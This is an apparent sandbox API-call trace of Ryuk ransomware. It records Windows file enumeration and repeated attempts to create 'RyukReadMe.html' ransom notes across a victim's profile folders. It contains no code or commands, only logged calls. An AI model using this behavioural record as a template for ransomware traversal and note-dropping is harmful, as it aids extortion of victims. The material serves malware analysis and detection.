	[0266.869] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69fce970, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x69fce970, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x6ab1d1f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0266.869] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0266.870] SetLastError (dwErrCode=0x0) 
	[0266.870] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988
	[0266.870] GetLastError () returned 0xb7
	[0266.870] CloseHandle (hObject=0x988) returned 1
	[0266.870] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69ba42f0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x69ba42f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x69ba42f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.870] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 1
	[0266.870] SetLastError (dwErrCode=0x0) 
	[0266.870] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988
	[0266.871] GetLastError () returned 0xb7
	[0266.871] CloseHandle (hObject=0x988) returned 1
	[0266.871] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0266.871] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.871] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="C", cAlternateFileName="")) returned 1
	[0266.871] SetLastError (dwErrCode=0x0) 
	[0266.871] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\virtualized\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.871] GetLastError () returned 0x3
	[0266.871] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0266.872] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.872] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x218, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0266.872] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x218, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.872] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x218, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1
	[0266.872] SetLastError (dwErrCode=0x0) 
	[0266.872] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\virtualized\\c\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.872] GetLastError () returned 0x3
	[0266.872] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0266.872] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.873] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21c, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0266.873] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0266.873] SetLastError (dwErrCode=0x0) 
	[0266.873] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\virtualized\\c\\users\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.873] GetLastError () returned 0x3
	[0266.873] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0266.873] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.873] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x218, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0
	[0266.873] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0266.873] SetLastError (dwErrCode=0x0) 
	[0266.873] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\virtualized\\c\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.874] GetLastError () returned 0x3
	[0266.874] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0266.874] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.874] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="C", cAlternateFileName="")) returned 0
	[0266.874] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0266.874] SetLastError (dwErrCode=0x0) 
	[0266.874] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\virtualized\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.874] GetLastError () returned 0x3
	[0266.874] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0266.874] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.874] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 0
	[0266.875] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0266.875] SetLastError (dwErrCode=0x0) 
	[0266.875] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0266.875] GetLastError () returned 0xb7
	[0266.875] CloseHandle (hObject=0x984) returned 1
	[0266.875] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0x5c992d70, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c992d70, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 1
	[0266.875] SetLastError (dwErrCode=0x0) 
	[0266.875] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0266.876] GetLastError () returned 0xb7
	[0266.876] CloseHandle (hObject=0x984) returned 1
	[0266.876] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Themes\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0x5c992d70, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c992d70, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0266.876] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0x5c992d70, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c992d70, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.876] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d6bf40, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x70a, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="Custom.theme", cAlternateFileName="CUSTOM~1.THE")) returned 1
	[0266.876] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c992d70, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c992d70, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c992d70, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.876] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c992d70, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c992d70, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c992d70, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0266.877] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0266.877] SetLastError (dwErrCode=0x0) 
	[0266.877] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Themes\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\themes\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0266.877] GetLastError () returned 0xb7
	[0266.877] CloseHandle (hObject=0x984) returned 1
	[0266.877] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c4d89a0, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2c4d89a0, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="UsrClass.dat", cAlternateFileName="")) returned 1
	[0266.877] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c3ce000, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="UsrClass.dat.LOG1", cAlternateFileName="USRCLA~2.LOG")) returned 1
	[0266.877] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9c5705f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="UsrClass.dat.LOG2", cAlternateFileName="USRCLA~1.LOG")) returned 1
	[0266.877] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x962222ec, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf", cAlternateFileName="USRCLA~1.BLF")) returned 1
	[0266.877] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x961fc18b, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="USRCLA~2.REG")) returned 1
	[0266.878] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x961fc18b, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="USRCLA~1.REG")) returned 1
	[0266.878] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5cb5bdf0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5cb5bdf0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 1
	[0266.878] SetLastError (dwErrCode=0x0) 
	[0266.878] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0266.878] GetLastError () returned 0xb7
	[0266.878] CloseHandle (hObject=0x984) returned 1
